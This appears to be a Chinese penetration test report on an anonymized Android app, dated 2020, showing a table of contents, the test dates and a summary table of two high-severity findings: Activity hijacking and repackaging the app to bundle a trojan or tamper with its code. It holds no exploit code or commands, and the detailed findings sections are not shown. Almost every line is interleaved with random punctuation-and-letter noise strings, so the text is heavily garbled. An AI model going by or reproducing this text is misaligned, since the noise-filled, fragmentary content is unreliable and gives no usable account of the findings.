+ [2 \) v( ^9 V r) j
1 E- i5 D; m# Z1 Y# P
2 x6 |( }0 V$ u, l$ F( {# i
7 W4 k# g. Y) z- Z
+ s3 E+ y1 C& ?$ H+ P$ T$ D8 t$ m0 p5 a, G8 B0 N& a7 D5 G
& H- D7 V. [$ R7 n& g$ l* Y. m
! n% z$ d L9 x; c
: F' O) c, ^7 Q% g
% r# u0 _$ W, C7 x
1 z% l# A2 S$ e+ i" N1 a
* B" N# Q4 p" j8 {% O 文档编号:
* L2 H, S7 u( m8 z {: A& l) m* N' l5 e
( ?+ z* B4 D5 Z Q( W2 S% W) R5 ]% w% ~6 o
) c/ ^1 H; H9 t5 @/ ?' s( T4 ^
% f* F. o2 c% s# G
: {" h; t9 h9 h/ A8 F8 ~! J- ?2 Y, X$ \4 l8 t. j0 W4 q4 U, J
5 G0 D/ v' W3 }' n% E! i% a
9 a6 p7 B0 N0 A. X2 W. z. ^
. P( Y# w' {( }( _3 @. Y) m6 A$ J2 y/ ]! b0 S2 r* K8 Q
' [5 ?6 [$ ~1 [2 M
" D+ e/ C! F, [6 \8 T, }. W
n: c4 F8 W& @* y% p
9 p1 c/ A$ N5 _
' A: M0 [$ ?4 m
8 l: h0 L" D/ }; ]6 u
+ {8 o! y' z' z4 t/ Z7 F" @. y1 p, y8 b5 {( z$ X
" [# b( l) \9 p# N S7 @4 I3 H% a. ?+ Q. U6 A+ F, { ~, Z4 n
# _4 r! A) V/ [4 G. g$ W% |; p G% Y$ i& q
, A* [- F/ r" e: F* B
2 o4 V \8 R$ }
; B& f/ [- g: ]2 n4 {- [. ^3 m# k
" \/ f$ k- s' O5 R# s' R) ]( K
- w r- n I6 q3 `5 f. G
* p: m$ d1 j2 y) y ~
4 u4 I+ g: r% N/ x- b
! l& c' c2 y1 [8 c/ a
6 ~3 G9 G+ H V* e- m3 n; A4 {0 \
u, p( G& t& U7 n% _
$ P l' X0 z5 P1 T6 |5 U$ h N, P4 A+ d
某某某APP渗透测试
! m! \% ]3 }2 O+ c' b4 u* ] [. U+ c6 {7 W. m, T
1 m p8 m2 E% R _3 f
- G. p, O3 N( t' l6 |9 N ! j9 U7 k3 Q, w' `% H0 k
7 L7 m8 z; R0 j& F: B2 _
" U y4 g5 m9 }
4 Z9 b. {+ N9 u! `+ `) e0 }
. V1 Q' u1 O: v) s9 A+ z/ p: u
. E' u- s2 ]! @! J! T, y+ g+ Q1 d
4 _" L, x' C: e0 m" z
* j" D I: p" O, m( I4 a. r " ?* ^3 C# g! }7 u( R( w2 e" A1 B
3 w h2 N% ?, C/ M! @1 r" n
, y u3 b- y7 u1 K: F/ U
& h5 Y; j X" k( i9 A$ X: G) T
; b6 E8 G9 v2 S4 R3 x8 u
' w# ]+ X: Y/ f! N
; E6 K8 [$ Z# Y" L
% z/ T) ^/ q) B2 H
/ w% t# c; v# {$ [3 x
4 a @; k% Q6 d1 M" _
! n% o1 R, y4 p
2 p9 x( X% t+ w6 T
0 n/ ?# E9 w0 z* a0 T0 b6 y
2 b) l6 ?+ j) x7 ^$ C3 ` P
+ f4 i& V2 m2 F. z) S
' [4 q9 q( H+ b L2 R
* M8 z# ?+ M2 _) R
- J, I" H% Y" \( D, I 技 术 报 告
( U1 m8 v2 \7 Z/ U; \2 w' J K4 t& p
& x' b% U1 t+ z
: x! A) A0 [3 o% {# H2 V2 J; E , d4 T7 p* ?- e: u
) {3 f m8 S c8 z j& b7 g
% w! `" j- O$ K0 F! F% f8 j
+ B) L& R4 i- `0 O% F+ |1 b* s+ N6 r
, {' k @* X: ~3 _& P: G- V2 ?( p
$ g" i% V/ N7 e0 m6 g$ |, k% c4 w. T $ V' v& C" o2 Z, L) z, E, t
x8 e' Y" Y N; @1 o: V
% u3 F2 _2 {- d, F
f2 b, i9 D. p2 p0 U6 k9 ~$ w
0 w0 b, @' j8 v; B( w9 ]
+ ^( v8 ^& s, N! r 2 b. R7 v h& a/ Z9 ^; T; G9 c
, f1 B6 h3 \* J6 i% s $ R0 e1 z8 Y9 [# a8 H9 Q, i7 r9 B
( u9 g& E, h2 L1 j1 z
+ p7 g) Q8 u0 g# d" |6 j. h" J K3 |/ u9 D% \. O" J2 u- U; |' r
/ n! @7 O: N$ `+ `7 G7 ~% z" N
0 w, F/ i) x8 d0 q' P
' g8 c- i! q; f7 e) S+ ^5 J ]. Q7 d7 w' j1 e- P
8 y) s* X5 e. y, a. ?; T
5 q ~- m: L2 @
: c" |# ~# h7 n1 u$ h: E) m
7 f% P7 A. v! k2 l
( r- J1 J f3 Y; V0 J- \- u: f) {9 ]. [. ], Z3 x
% F# G3 |! r, c0 q9 ]3 E. c$ I: p5 l" b
2 A- @$ j) q/ |( g7 S' Z $ T7 ]* s( @) O& O1 B; Y
2 z: ^9 {) F0 c- f
( U9 |% q/ l N; |" l! @5 H( m
E# X3 z) }5 B" c- Y4 T4 ~
( [2 f2 ~0 w* L# M4 L
) Q: x+ u9 ^" f6 q7 o/ U) ?" J
) q T) v* I$ m& s5 o% q
# s" P- Z1 M- {! q3 b2 l, M& m 4 n y& _! g5 r
' @- ]+ }& r7 U; l3 E( Q; C; L2 ?( J$ ~
. h+ A7 D2 t* u! F* Y4 P. Q' C+ Q i
2 ]+ l( x5 H1 v$ g7 A" `) u
- K3 \* p* a4 ~- ~0 c; K6 s% F. j$ k
0 y" |- l; r% d' K" `4 x , z8 u2 A- M3 I5 M; Y
1 g0 M% j# f: Y$ \- q
/ l* E) I* f+ W. _8 E6 \, K8 _+ K
% N l: _/ Q% N; U) @' }
0 s9 J2 b Z: X' Y9 y( c
6 F) t" K% X" x
# t8 U- v. z$ i
8 s! B2 i7 ?3 c. F T% c, `8 ~* S
- W" Z& q' ^, z, U" |8 q
/ z" t Q' p3 @; T% ]
# M; Q0 x R0 r" b; C
4 _5 H4 a% g6 K: K2 U( l, c- w8 n2 o. w; l6 ]/ c/ v9 g& a' v
" ?7 H- Y8 w5 D4 C3 Q' g
6 a3 E4 ?* E1 o5 S5 H2 F, x) W 0 ^$ }/ d, p1 ^
! w6 x( C4 [' r1 Q
. T# n# K+ x, L/ A3 c
" y8 v7 H4 ~5 B/ m9 {
. g: F6 |; p" _4 I( w! c
, {! D- A7 Y/ L8 z( ]' s2 r 2 D2 }* f! x4 v' f
/ x5 D& h% O* P/ O' \
1 C* \; n$ n& w N8 m, D$ F- V% a* c
; z6 C9 m* z6 ]6 x" g) f; \- O& n: ]# x3 ]# W+ p
1 ` F# |* A6 U1 M( Y6 L
% U+ E, g. r3 v% d& L" L
5 k' H* H( g0 g& F2 V0 t
! b3 @; g, }% y2 M5 O8 x
0 f9 M' H9 m! a& V
! b1 e8 b# _0 {. B+ a
; S4 _1 s9 E; \$ K+ f1 b* g2 }
' P7 e. x% R( i& I
; t: [+ I' n2 q7 U- A( H" t7 ?6 Q8 L
5 D6 ?7 Q) q" j5 m! L: f5 P% R( {$ d4 D l
5 V. Q4 o7 _1 J8 q1 {0 _; u+ J( W/ u- [1 F& i1 C
1 L) ~& R5 i V7 X6 l; ^
U, @2 u$ M) I* x6 f& G7 X& }
6 @' N# v- \0 ]# H( `
( \5 x3 {7 b( t! }$ J. ?8 d0 R
" I5 E9 _/ n7 r1 h6 C# g& m% m. b% C6 W8 b% k9 q6 G* I6 P+ \! k
5 z# o) u2 O% M1 b5 c. r
. x) m- D( e- [4 ~4 p$ M
+ f* x0 f. C; [: }+ K1 q% Q9 P F5 L8 p! _. {
' [5 u/ E" F6 n O+ Y- V( Z
. n8 c, Q; d* X% f1 s$ ?: y
) i1 m8 G* F( q+ d4 o6 @6 x
( p# q0 n1 \+ O6 J2 ?& y6 k6 n
! o. @$ M" D& A/ _ B
2 O6 M2 w& y: H' _6 ^4 J ) e; [: m" B/ `6 A/ F" \1 e/ { P$ I
" `6 c* _/ i9 B0 V# ]6 N+ F
$ ~1 n( T0 n3 J- N! z: Z4 K
; F% h9 V/ T. U0 N7 D- r
" A! ^" h4 \0 L' x) t, X
% N0 W- h. n/ j4 @! \& t0 D 0 \. S& B2 r7 v
8 A U. W. b! _
二〇二〇年
& d5 }! _+ v% A. Y
( L, X" |3 r' I, D; p+ ^! r) j1 T
+ y2 Z3 t, s9 q8 W
" _, O/ Y9 L/ }% S, `! w: e
) {5 [9 m8 [5 d8 e. E% ]: G$ X4 I1 v& _' p! x
' P. j8 a: g d8 M
" v6 K1 w& E4 Z& z3 E ' q* V! r; l6 @) q9 f/ E) X
6 F4 v- c, J9 [' |) q- \* n
8 m4 q" i8 d9 R0 h' U5 ?1 K w/ ~! J7 \, B4 I. I5 N
) |1 A5 Z; o a4 F p3 k) ^
1 V' B7 [* `5 ]& I7 `( J
' v5 S2 Q9 ^, I1 @. l2 I8 y, M1 q3 A7 H/ \
" Q6 `& i$ X+ I% \! g' i
- o3 x8 C+ n1 {! I: d
2 m! w) c) i0 [4 T' E' y" L
+ ~+ u* A z, u( I! \3 y9 C
, o. O- m: X4 q- z
/ H* r1 a" j; C% C7 F 目 录
5 j# V$ M% Z0 ?0 n- m3 j! z
& X# }) ^$ I& Q1 ^+ W
' g: r* B/ D* c: D2 c( T
+ }, I2 w9 m* G0 z/ f& S * a$ A7 J, z# A, S
) p3 p6 t- n( H; w
* b0 T0 @( Z; a7 c; N' j$ w' ^, K( \! ?/ z! c
% n- z9 [" _( k) |- L$ @
9 e( P! d" ^2 u/ v
( p% C- ]- ]$ o. n7 e- T7 ^& K* H( _: G
4 `8 s$ f N l& T; S U* M. b/ D. U! M. `2 t5 d5 G$ Q1 Z
1 概述... 3 ; c: m. `0 q+ U: q
% S& `2 @- a/ q ]
9 }8 i. u& M9 y+ x) v" ?+ ^ F: E
1 G2 {) O# y# ?! U0 b m# F/ Z" j, M/ ]8 O3 D4 V+ S
1.2测试时间... 3
- ^4 E0 f3 H9 _+ X1 Z0 q& e6 g. H9 p" N
* m2 ~' j! ~! Q& [. |
8 P4 Y, k9 D" q5 t2 F1 b: `6 [
, A- s1 f7 J. D. r% H4 r( Y1 [0 B; x! z
1.3测试对象... 3
9 z( P( C* S# w* o- W p) S! Q8 `5 n I8 f2 r# U2 N% G, V
4 |, @# N/ y+ H! e) @- o
7 h. F; I3 u& y) a! ^ ) |: i1 L8 t, l a
; |; U8 _+ i; ~' D% | 1.4测试结果... 3 , w# ~; p; |& E) d+ L2 ?. f
: H! Y9 D1 D3 Q0 x" |! u( i, V% Q/ p2 W
" [5 Q" R. m+ r1 k; Z7 [
( T; y) S7 T7 H `4 c5 M ) |2 ^. r2 ^& B5 q
" Z8 d8 Y8 I _. {% Q 2 检测结果... 4 0 ^2 ?% e, O# D5 Q- P7 N* Y
+ a: I% P- {7 }4 p9 A& V
V n& k5 R, i& T
/ R1 p' m: c+ J2 ^ D& m0 k( g9 D0 `
) p/ F ?: ^; y0 W% z
# f+ f* V- x, U. T 2.1 某某某... 4 # a) Z7 U* ]6 J, @0 N; L& W
. l8 a1 n+ D8 k2 n6 `; |
8 V6 o9 `9 `: K- O X4 H
1 N4 P% y% c; c9 N9 O
4 t3 V0 M0 J8 t1 x- |
( X! e+ [, o. _8 O5 D 2.1.1检测目标... 4 / ]$ \2 N/ i( Z( w- h! y2 U
1 l/ q2 z( I O% D" g5 ?2 w; ]( Z
1 a1 H. t) x/ ?2 u8 z7 U$ g& X
C- Y: J2 K: P; n! s' b
* W( S+ k+ s1 e$ u+ J/ t' u- n) g7 I' x) I2 O8 s E
2.1.2检测结果... 4
) F2 H8 ^ j. _" Y- d+ F! ?* A! V4 g9 P* n
7 l r8 [ Z; Q& @7 W
0 a! G6 G& F I! |
! |7 W9 J: }7 g/ k0 q8 g: V: o1 q8 b9 p9 J( o; w/ k+ }
2.1.2.1. 4
) [9 J+ a3 @0 r+ J6 `, ?5 @3 p2 h) z0 W, T
+ T3 _! L! D6 Z. [- o
, {, X, s# F/ s8 F7 t
x/ b; F- j. x. u$ K2 r! X9 P
' p+ u3 B d: z 2.1.2.2. 6
; T5 K: k& Z: a* ]" A, O
" a# m; k$ D2 `! ^
+ D# Y, G) w0 _; Y( L: ~9 w: n6 p, z5 l* I0 \
7 [! g; }7 ^% U3 R0 I' }2 N
: ]) I9 k% A% h+ c3 n. s8 `
5 i5 r# ~# B) o' n/ E
1 B) [ R7 H3 }3 T0 i5 ?
% r' M& [! |! k/ V
8 T' Z0 }" q' ?. x/ d) y
0 E5 Z J6 [' |9 n7 C x- E" s$ s' J8 f) p; b. ?
2 K4 Z( N( v( R8 A6 Q$ _0 P
+ M* N z. W" ]% r. ]* F" E
' M5 f+ Q0 Z) p9 q0 S5 L4 P
) w4 ~, L% F' ]" }5 Z0 P " n( }% x! d( n- j
+ R( n3 L& P' `1 J
! }* ~4 }' P; Y; I& ?/ J9 ?
( O- k4 W1 d/ g* T9 l 1 概述
% J4 A$ n' [( x/ g( N1 F5 q' g/ U+ b0 I2 J0 i: f) m! M5 j) g
6 W, p5 p6 z8 y4 X" @, x) M5 |' `( N' ?' l% Z% C$ F
& Y, s) f: I+ D* }0 S! A9 z4 @0 [+ X* J2 a$ }
1.2测试时间
}. ?/ F9 u+ f0 H+ d3 S+ b: R( A6 m8 Y: r% Y3 w3 [( ?5 W6 }5 }
% h( l0 t4 s4 B4 X# q( d2 h
, A& f- a' p7 N) t
' I1 u. g$ b" ?
, @& k$ I! Y2 N+ E. L+ g1 S, ~5 F6 Y 0 t: p& z1 d9 S* n1 q2 h& r
s8 V% P% h# t7 @0 S2 x( W 0 v, g/ Y6 V! g( [1 Q$ K$ o
) J+ Z6 N5 ^9 [( P! |2 q* J |
9 b7 Y, r1 u2 u! \2 M3 B" V1 V: M$ U! c; B5 P
2 c/ d4 Y* `8 q7 C
" k/ K5 \" C( i
渗透测试时间 4 [' t6 G G( B: f5 X
& |+ ]- B9 B7 k7 `
U8 \: S4 c7 i. r! Q8 r' P9 n. W; B+ ^- y1 E N
|
6 }1 Z" s5 |6 O7 A2 o! c* F8 _. H
+ t: F% Z& Q& a* u# i4 ^& @2 u
( I: F5 ^2 }5 z, _/ Y' s
5 g1 _9 _8 t3 l7 |% ?
) O9 D3 q0 n/ Q2 z2 R, p# D1 j) s9 z4 q7 b1 V
| ! K% L* _9 E% j2 _
1 L. E9 L$ J0 {0 k. K
9 G6 @; Y2 ?$ u! \6 x8 K, K1 Y7 J# ?8 N E1 a% ~
起始时间
. W. m8 t5 p0 Y! b
6 P% V5 K- g% ]/ Q: ]
% R& W- L2 Y! |8 }% ~" C+ S5 S. `
|
1 r2 d# v5 [! f3 O+ v: _: ` E3 |" }8 r- x+ v5 @5 u- u) W2 v
7 b9 R4 D" `( }' e% x+ t
) l" v: k# _+ I6 T ' T4 r, }4 F3 Y4 V6 _3 ?
4 f, [. @6 w4 E6 B
2020年4月6日
/ ]$ e7 X/ Y6 M9 F/ G% v8 N6 S" a9 B% U; G, `( j3 E
7 Q8 }: P8 X6 X0 L
7 l' F# \, J4 S9 n- y* p) C | 3 L+ I( Y- d' K
% L) a) @ F. x3 A/ {/ ^
& y# d# ?1 {1 I) ~9 J& z- S
) p# V8 j6 X/ O% W5 c e
( e% \$ ^% t4 N5 ~% `# {
3 ]2 `' Z4 ]3 U5 l* H5 I | * I6 f8 c. L2 t" S( K y. B" ?
$ c& i% E7 S B+ K 0 E' L& d! f. U: l& X/ q8 ^- `
- M) t4 w) F1 k d* ]
结束时间
6 O3 t3 c2 e2 Q$ x% ?" U4 r( }2 ^, o
) U7 ?# C3 C. p: Q3 Q; @. s |0 ~5 I& A, `( t' F
| 5 R: N, s+ h8 t5 C- y
+ j$ n" R q( j7 S) G
6 o- M$ A$ ^8 o) O4 K* k
) U/ r% i5 Q) ~6 g8 p8 W/ Y
% V' e' n& F7 V8 [* `
7 E% O+ H: C7 s8 J6 l 2020年4月9日 * A) l* i) B% f$ T/ N
: ~9 `; a3 `$ H8 i; P9 a " u1 b: I8 s: o k+ g8 i E2 s2 ]5 W
) q; n, m) }! `" k
|
5 ?- G& [& p. |$ l$ M. p; b5 Y5 `" C1 o7 J) D
6 G0 y/ f5 B) F/ W* l6 M6 ?6 l- g3 C- Z8 k
/ ]5 V1 @% o2 e$ p/ O0 V0 m4 c) x* n" |+ v
% j E3 t) i- w& Y" b( C5 a9 z
4 {7 d' P- r* O( {+ o
) d6 |$ V4 z6 h$ T/ \1 d; y& X: ]* B( u& ~# f* Z* x3 F6 v6 r
1.3测试对象 % D/ r- \ \& e- G7 I5 S* a& T6 e
. i6 K" E1 h1 b/ F3 D: I
. O, X' ?, ]0 F' o& s- X1 F/ r; [
! L! s) `% V# W5 @& w& t! x
; U* T( l# h* p
* h3 v E0 R5 T 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: C* `3 _5 \# \/ t$ j
. U; S; S% X: D) U5 ^: Y
/ K6 W. d2 a1 x8 Y
6 C, f( U1 E4 N( m% ~2 _9 ]6 t8 h- E
5 p5 G. l( r0 f/ i' i1 C+ @0 k9 E5 Q! M
表1-1 检测对象 & C5 G. v8 y6 y1 |4 A( E- l9 M
/ x7 y; b. W4 W" g
" g+ J* G0 Y4 `) a/ r
$ N! Q* r7 N) I2 F ) a) n0 q, F. V- {
( R9 X) R2 n5 H% M! ?
' u% ^% d+ W4 ^* K
% d7 _, S4 Y; D
& Y8 k. p6 P/ {/ \; @1 x3 {5 U. x- Z! }( j& t0 [1 L3 ]- c
|
# E' U6 s( V F; l$ s4 z( V! L- W) m$ T1 f6 g
; ] |! y! k4 j
. f3 d% E2 P/ u# }- \ 序号
+ H2 \6 d8 t) d+ y3 A- `; e, E) g2 Q* ~' w2 r) v" t$ E
! I- ]& R$ J$ \; M* F& H9 J, k3 V
6 M/ F' ~. k$ k& _: E+ u# w; m | 7 _( H/ W4 x# R- P S5 u
2 {. W/ v- q+ z$ p- T# q. f% M
* B8 v. z6 J( W7 q" t& @
( q9 B, ~9 h3 w3 ?" |5 `5 T
+ n6 D5 R0 s/ s4 g0 f0 b$ V4 \2 N1 @% j" c8 }- h" @* U/ L! T
测试对象
0 ~: e( A* |* d
- W( t8 P F5 g1 u - Q! \1 x. x2 t, \
9 w4 ] q( i5 g+ @
|
8 z: J/ c/ {$ c( s( k
) x) e+ D" I( r6 k/ m9 |
) u: ~8 a6 K" L1 R/ [! t
# L/ b% ~) T2 ~9 b5 \+ d3 _
5 I& ^% U. q: T0 |& V* E
, o e! ]2 z4 H% Y4 c( f 测试地址 $ f0 O, z! j7 E8 @4 u8 ]6 H
7 Y7 w! D- ]3 }
* h. p6 U! i5 _8 F; K/ n) z
6 \5 o# ~3 T' P5 \4 z) X
|
7 H: x" U; t' z5 n5 U- q4 k) F3 e1 U; ]
$ u" H9 c9 }1 C' A
* n% W! L) |, g 6 p, V# F$ V" w8 A8 O6 N
5 \8 ]" x+ @# \/ X3 b
安全漏洞 - N2 f2 l2 v: n! t$ \
% \, ~5 M; U+ r8 L4 t5 i5 G
8 N! t/ l! s2 d1 B6 t, {# |7 E# r5 ]" }$ E
| / R6 J/ } e: p7 Y! f( u( K
% J! M1 O4 q) E. Y# T( Y+ ]
* r- w0 S7 r' e8 q0 I
6 k$ k7 \" A3 o6 v3 O- k3 e( N/ I
8 e% `/ h: r6 h% ?$ `
0 R# Y6 l) y3 _+ C | & n; c2 i. m' p/ M3 F h
9 Z2 J0 M# e7 O; F3 [9 [
) o- _5 R- T5 d' r: I& v$ K4 r3 w$ H9 [; L2 H. L; U7 S
1
5 {* \2 n+ O- C }% n! ~: U5 s7 U& g' X) h ~% q
& v Y9 m6 R/ \8 u& q! J
# h+ @) F! f2 ?4 K' i' Z
|
1 ?) ^, E" M# G5 P' O7 B3 g- E
) A% V( y2 M G
{5 G5 D' i" J5 _, W
8 u d' M C6 n( _8 U 5 g+ F7 z$ M: C: t- `0 S8 [
+ O# e$ z% A, H9 d 某某某安卓APP & ^) Z) D$ k& p* c# ]' d" L5 a: H
) K! g' |# ~9 ~7 }5 ]
7 L8 y" G( G- f3 E+ L! X2 ?6 }& g! P/ H4 a4 B1 g" Z H
|
/ |5 P V$ Q5 Y3 Z/ v- j% j3 A g# E" T% V
. A( D7 c5 o5 N
0 D( x1 h8 `; W3 w0 o* i# B
6 b _; l0 C. D: \7 y4 t; x! J8 K) E6 ~' A5 M
) Y: _* K/ }" \9 ?, `
" G- R& Y' |! Y4 f0 w
1 a/ ~, ?* e+ i9 C8 q' ~4 l3 k J1 q4 m/ I. u5 d
| " C5 S: R. H: ]
% y$ c8 {7 Z( e4 g( z( A( S( c9 E 3 p( s+ d+ n2 z3 v- A6 g0 b% }
: K: ^5 y7 e+ R) t
& ]% |3 h' ^" O, r6 f4 `! W0 Y% l/ m& r+ r+ w0 k6 y5 F, h
2 1 a- X% A J2 a$ W! t/ K% _
& |. @! H0 E0 z7 ?8 t# e( v
, i5 i( _0 w+ b1 w1 V( {
# ` w! |$ h Q+ [0 J | 1 N: B$ p* n3 [" l! c
4 H, g0 X) ~! j: t R, _! u4 |
0 W# }+ J+ S& O1 E( h* ?: G
! M3 |& ~7 E5 O. f0 M' \1 |: F
. D% T# g' g1 l ?+ d( j0 G7 m
' L* _ d I# S/ z
% I A( U; Y3 O }6 Y, i3 X
' h$ ~, v8 N6 j( l* O
7 b$ |, Q. N& ]; s1 D; i
1 J# C: B( z# z8 B0 K; ^ 1.4测试结果
& \0 f9 R- M# C/ j+ [1 z5 g
, v% Q" k, @$ _7 q1 j$ w
2 m X, x# O$ O: U5 [
* c+ H' I; ^ v6 u6 H$ \, L / o% \7 m# m; ^) r( A
/ L6 `! F9 P' L X3 ]& u
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
+ h) H9 A8 Z! f k* n! Y4 C3 ~6 K
4 r4 j: [4 r3 i" p- r9 W$ O' [! O4 |# g L2 [
7 Y" E6 m$ P4 J' V
- R9 Z. j. Y, g% P+ K8 ] l$ C8 ? & s! O j) }& K) m3 e( Q' f
1 m9 V: ?$ g' K) G/ s
Z2 M- O/ _# w9 B7 i! d( }0 j! q. N0 L1 d1 \/ h' _3 t$ A
$ T1 x* B. V4 u4 c6 q( g g
! o1 P" A2 `* {- p% r4 }
0 n6 L- R3 N: o6 X$ C; h& J- P
4 R$ t/ L- k, Q7 Q
7 X5 |: t) T' Z7 i6 I) o. e# @! a6 }! C4 o; F; A- h$ P ~) g
. y- r% k3 N4 u( O$ D; _
" j% T# q) N& z
|
) y1 {; C4 L; f- }' u% T' C* ]7 g i' I& w; I- ~5 c
1 _5 j$ y, e5 p6 L& \ n% R
# X+ g" t$ X/ ~ 序号
! B2 i% O* K9 B$ L% y1 q3 A0 z( G# t! [4 g) Z; `
( x! Q _4 Y. U) F0 [
) C) K* j8 D a/ @6 d6 j q) m |
' K+ e" Q8 a& j6 x2 n: x/ p9 X1 M$ Z
( c/ W" W$ n0 K0 E8 b8 I: P0 o0 i2 a' C# M& P$ a: L8 t( o
; U0 Q1 Q# G1 f5 _1 n
" Z3 I8 ]5 e+ o 系统名称
7 U" f) [! t- I6 e( }( ]3 T/ b% W+ K& [( W( A
, F5 Z: s0 h- O4 q4 U% p/ g) [
) T2 B0 \9 _& U* g+ B- Z6 [* q5 ~ | 1 v: W. m: c w4 x- y( ?' g7 I
2 k0 Q" J6 X- e$ ^
3 f) k6 i; H! h O
# Z; A6 B6 m' Y- d: m7 o5 E ! t9 N8 l3 X( k5 Z% k& _
! i/ J/ l# f# d
漏洞名称
8 C* j; z/ X7 w& R' O1 E# ^8 i9 O0 b% L( u) d
4 m' s* Z1 ?/ P1 S$ X
?: W( p1 {4 f) X+ |+ {- O | 6 e/ N/ `; m9 D
+ F3 b$ o5 o$ d6 t 0 x' S& R3 K. m# m- D6 S
- O. J" Z" l N( g. V
0 r! x7 g) c/ X% e J2 \
1 b2 |6 @1 t% Y) w$ Y$ t4 n 漏洞危害
; r, \* o. @8 m1 A' F2 r4 N" D0 _" N- R0 W' z- _
% A* Y8 F) ]* u L P- o3 q" v
) h A b; f. ]/ @' A# O& X | " V4 @& Q( X6 [# L% R% L
% E; b) g5 k, g; N- U z+ k5 G$ [" Q3 E: p% q4 W
/ B# j/ \' f& h
+ Z% ^& ^4 s5 [
0 M% `1 ^0 A0 O) {5 s) N3 k+ S 修复结果
" R( C8 ?" X( U6 F
% ?8 k: g8 F( t. X1 ?& M! J' c
3 B% {. p2 L( }+ b8 R v( U. R- ]- Z% [) v/ y( g2 _- Q
| ; W# K/ C, b, M4 o/ X
! {& _+ a/ D9 p9 X% Y
4 \* k' x c4 R! B) I( p! h1 E- F% r/ G4 F: k1 c& e0 c* y
' x o: k& K- S+ j5 c/ e
6 K0 I% t' C$ e/ H" D |
6 ^' Y6 `5 I! i; R. m6 F5 e3 K' [9 s4 b- X1 j/ J7 Z
7 H+ r: Y. F3 I% I9 K. h9 d( S8 `1 d* m8 @' z" T/ Z" Q
1
! `. V+ n0 A @1 l# ^; O7 B. u8 e# D H7 L# L" G0 ` p
0 l" S3 ]: }/ r- m3 U
! E$ T. Z! d$ v |
( q# ?6 F3 i; |. Z4 h1 `6 G1 N+ H. P5 L6 s, k
3 |4 B. @; q) t* j1 O% A
* f7 ?1 A& Q3 W: y) {) G
; r+ H q, _7 z1 O
/ F8 s6 x9 M, q% t: q 某某某某某某APP - h) y( c2 i3 G( T
: _2 R- ~; Q* o3 X$ h9 f : p- l7 s: }) q+ g3 J* r. x, W
1 m( R( Y/ O6 G: c
|
* F3 ]& t! c! H# h4 V3 {/ T0 p; c; s. [0 U! G
( L8 Q2 c4 a2 r% S) D
* w! ]; P5 A% J8 K4 g3 h ( ^7 g0 b9 Q" K u/ L( W! s
7 Y6 f/ Y |6 G' u4 u" n1 ?
Activity 劫持
i# e! W6 m* T7 {) c" r; P# ]1 |: a
" u( l1 p: y8 ^! _# b + [ ^4 b( M$ J$ ~7 q) P; D5 i3 }
: A" A' e% S" T8 G5 [6 `
' ?6 R) I) D7 R: G0 u/ w# l8 u. i
C: l% @8 l- A! Z
" H5 }+ s) R1 B x
7 E [# N) R. F- o, c! o, ?/ m: v* O( S$ g
|
: V% }; m6 F& ]0 L/ f4 J1 c% _5 ~; t# T: ^
0 ^0 [- l1 p2 ]+ l& v% ]5 @- \
7 l; b* ?; m8 J$ [, U; i
- l5 m& m1 z6 Y* H# I+ |) A 高
! S6 e1 _6 R7 i$ r2 b' t, D0 P" W4 S( u. }5 C* X! \
+ L5 v: l: u) A* l" H( p k0 l* h( i. b/ n
| / g" p' [$ v1 U! K
" y$ t/ Q! [( e5 _% O & a* s, {1 w' Y Q6 E+ m
5 y- J: v% u: n& E( z + u: J- S: h5 c- u1 j9 P% d' n
3 u/ C( V+ l+ N, l$ k) X8 v1 ^ : \% x" ?0 A9 J
, [2 ?8 e4 C5 J3 j" ]
" E# b: \0 f. A3 i/ a
" `: H9 D5 {2 m |
2 ~# I! k! ^) q* B9 `! K2 T) C/ L7 _3 r2 q: P* L, W
o6 e0 Y4 o( u# z4 E( G3 p5 b- J7 h+ G+ @5 ^9 C
/ R" m, S- N4 I, h
5 H# e" G; \4 l# L
|
( w) k/ S' [* F5 _+ d. z. H
$ D' C' U. G7 u/ M0 U7 w3 r) f 4 n3 W6 x* D* y
: t; P, e; t- M! f9 y
2 : } B9 O! s! g- U
) D/ a; `3 X( d % a# n" C6 Y5 s* P M* F( s; n1 Y R
$ \0 S# { ]/ W+ }; W | , s/ W, k# ~) P' Q
/ j4 l7 e& w- Z! D6 S
9 @+ W) B$ u5 Y/ n; V( Y
2 `3 x; ^. H+ N( ]1 M; T + m7 \& w1 O+ v: m2 G* v8 k: j
: T+ @6 g, _+ y L7 }' W
某某某某某某APP
6 X6 N6 J+ U2 I6 G8 A( _! s3 `7 c$ Q# F# m+ {
/ V8 \* j2 k& h" d9 p
8 I& _) h9 G- c' _ |
' F' ~) u. B4 _5 f! O; p
& ^) p% }0 p$ @, {8 x$ | {) i " I5 G" `: J% h9 [
$ D, x& e- v: u' f
( d# L! x4 c; v c/ f
. h* ^! Z$ w. N5 Q' d 反编译二次打包捆绑木马、篡改APP代码
% p0 g0 t; _; s, d: b* a- n" B) _+ @' g0 x" e1 M& h- G: ^/ z. |7 G& Z
! ?/ ?; T' q7 Q) {! b
% P& ]% J+ S2 e( Q# Y+ ? | , F4 f. @5 o0 ^( k: k9 W+ m
+ ^) T4 J# d& j0 J6 w& y! A! O; T5 V 5 c) P. V4 ]5 M0 n) p
/ M9 V& p$ I0 ?) A( n
9 w7 H- L( g* d- _( h( H
5 A+ Q8 [6 J" f5 B* k5 [ u 高 / v5 V" T5 P7 l u% d
) N/ {/ U4 ^. m; ^' Q
& j; y8 l. l8 {
2 V9 B. z8 e+ S' R3 {2 r |
# @6 ]: A& Y" N" A# T: I" J+ Q k
D. |# I' R7 T# y+ ] ; o% n* S) a6 L3 E$ v/ M4 l
* {* K3 E V. R& O
' }/ U9 W% d* t# }! c0 m
. I' G2 I2 c8 t4 y0 ]4 o 5 S& X% ~! }2 F# R0 w, |; W
# a0 P: N/ n# }
+ e0 b9 V) _; w1 X) }
$ P/ T" \3 z' x% k# O
|
( X! ?5 k9 ~3 {: w- z) F: C+ [; K
9 F! Q3 ^; @. s `. @, s4 i
0 E8 @% u" h, E1 A/ p
7 }9 L1 j/ N4 P: c( Z6 B2 Y
/ T: K' i5 _' X- q; k9 E! v+ y1 A; ] i$ `
P. }7 h- A( l! y" v4 I" N+ Z! C* L- H8 \% M
5 f# A7 f/ [# Y# O% I
3 r; Q( [9 S8 I2 I . W. }. D1 F- A4 Y
+ x4 b" z2 S1 S6 T
- ]& b3 O1 Z( Y
& G) \& q& q' f6 T" f4 C+ |
( q# ]$ O) t- V: F; j
* ?6 s! t% I+ ]. N$ y' c ( E- k0 W/ m! ~4 J. c
